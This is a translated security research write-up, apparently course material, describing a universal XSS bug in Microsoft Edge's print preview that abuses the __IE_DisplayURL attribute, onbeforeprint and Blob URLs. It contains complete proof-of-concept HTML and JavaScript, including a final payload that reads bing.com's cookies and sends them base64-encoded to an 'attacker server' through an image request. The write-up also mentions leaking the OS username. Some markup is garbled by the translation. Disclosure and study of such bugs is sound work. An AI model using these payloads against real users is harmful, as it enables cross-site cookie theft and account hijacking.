The translation of the article was prepared especially for students of the reverse engineering course.
Universal XSS (uXSS) is a browser bug that allows you to execute JavaScript code on any site.
It seems like XSS is on all sites and it looks very interesting. What's even more interesting is how I found this error. Usually, when it comes to uXSS, this is most likely due to the IFRAME element or fuss with the URL, but I never thought I'd find an XSS vulnerability using the print()
function.
Preview window
Let's talk about what actually happens when Edge displays a print preview window.
I always thought that there is just a screenshot drawn by technology such as Canvas , but in fact the page that you are going to print is copied to temp and re-rendered!
When print()
is executed on the page, we see the following file system activity in Process Monitor :
So, the file is created in the Edge temporary directory, and the contents of this file are a slightly modified version of the original page that we tried to print. Let's compare.
<!DOCTYPE HTML><!DOCTYPE html PUBLIC "" ""><HTML__IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><METAcontent="text/html; charset=utf-8"http-equiv=Content-Type><BASEHREF="http://q.leucosite.com:777/printExample.html"><STYLE>HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTONid="qbutt">Print!</BUTTON><IFRAMEsrc="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME><SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT></BODY></HTML>
There are several things that we can notice from this comparison.
Javascript is encoded and rendered incorrectly.
IFRAME now points to another local file in the same directory that contains the source code for the original bing.com
link.
The HTML element now has a peculiar attribute __IE_DisplayURL
.
Regarding the first and second points, I conducted several tests. At first I wanted to understand if I could get valid Javascript code after changing the encoding, in the hope that in the end I could run Javascript. It turned out that any code inside the <
script>
element, normal or not, will not be executed.
The second item helped me to expose the operating system username using the @media print{}
functionality in CSS and selector magic. I was able to get it from the iframe href value. However, this was not enough.
On the third paragraph, it became interesting, since this attribute is extremely unusual and until this moment I have not met with him. I immediately googled him and found several articles, based on which I realized that someone Masato Kinugawa had already played with him and discovered cool bugs.
After reading and some practice, I found that the preview context learns from where this document comes from. This makes sense because Edge opens files using the file:
URI scheme. With this attribute pointing to the source, you will notice that all requests coming from the document (as part of the preview) will mimic exactly the same behavior as if they came from the original website.
How can we use this attribute? There must be some way!
Javascript code execution with preview
As I said before, any JavaScript code in the normal script tag will be blocked or simply ignored. But what if you think in a different direction? I tried everything I could think of, so I will save you from wasting time on many unsuccessful attempts and go straight to the point.
Here we are dealing with the print function, so I played with events related to printing. The result was brought to me by "onbeforeprint"
, with the help of it I got the opportunity to implement an IFRAME that pointed to any website and Edge did not need to convert it first to a file. Almost immediately, I tried to implement an IFRAME that pointed to the URL of the Javascript code and that! This code was executed in the context of the preview.
<!DOCTYPE HTML><!DOCTYPE html PUBLIC "" ""><HTML__IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><METAcontent="text/html; charset=windows-1252"http-equiv=Content-Type><BASEHREF="http://q.leucosite.com/dl.html"><STYLE>HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTONid="qbutt">Print!</BUTTON><DIVid="qcontent"><IFRAMEsrc="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV><SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT></BODY></HTML>
Screenshot of the result:
Just because we can execute code doesn't mean we're done. As I said earlier, due to the __IE_DisplayURL
attribute __IE_DisplayURL
any request or API call will be considered as outgoing from the document.
UXSS implementation
Now that we can implement our executable code, we need to somehow create our own βdocument previewβ with our own __IE_DisplayURL
, and then we can simulate any website that we choose for uXSS.
I found that using Blob URLs I can achieve the desired effect! So I made my own printable document with my attribute pointing to the target site (in my case bing.com
). It contained Javascript IFRAME, which ran as if it came from bing.com
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML__IE_DisplayURL="https://www.bing.com/"><HEAD><METAcontent="text/html; charset=windows-1252"http-equiv=Content-Type><BASEHREF="https://www.bing.com/"><STYLE>HTML { font-family : "Times New Roman" } </STYLE><STYLE>iframe { width: 300px; height: 300px; } </STYLE></HEAD><BODY><iframeid="qif"src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"></BODY></HTML>
All I do is read document.cookie
and send them back to the server.
Now let's summarize what the final version of the exploit does:
Using the onbeforeprint
event, I inject an IFRAME that points to my payload just before printing.
To initialize, I call window.print()
.
Edge then displays a preview window while rendering my embedded code;
The embedded Javascript code created a Blob URL that contains my own bing.com
printable bing.com
and redirects the top frame to that address.
The print preview context thinks that the contents of my Blob URL are real printable and sets the origin of the document to bing.com
using the __IE_DisplayURL
attribute.
The fake printable document itself contains another IFRAME that simply displays the document.cookie
from bing.com
.
uXSS works!
Final code and video
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><head><style>iframe{width:300px;height:300px;}</style></head><body><!-- -----------------------------HTML for our blob------------------------------------ --><textareaid="qd"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML__IE_DisplayURL="https://www.bing.com/"><HEAD><METAcontent="text/html; charset=windows-1252"http-equiv=Content-Type><BASEHREF="https://www.bing.com/"><STYLE>HTML { font-family : "Times New Roman" } </STYLE><STYLE>iframe { width: 300px; height: 300px; } </STYLE></HEAD><BODY><iframeid="qif"src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"></BODY></HTML></textarea><!-- ---------------------------------------------------------------------------- --><script>var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script><style></style></body></html>